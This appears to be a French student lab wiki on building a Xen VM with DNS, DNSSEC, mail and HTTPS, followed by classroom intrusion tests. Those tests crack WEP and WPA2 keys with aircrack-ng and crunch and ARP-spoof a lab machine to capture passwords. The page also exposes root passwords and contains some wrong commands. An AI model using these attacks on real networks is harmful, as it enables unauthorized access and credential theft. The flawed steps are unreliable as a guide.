Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de gandi on resoit un codde de confimartion ainsi q'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers gandi a télechargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionn pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54005TP sysres IMA2a5 2020/2021 G52020-11-27T16:48:35Z<p>Aglaine : /* Réception d'un message */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
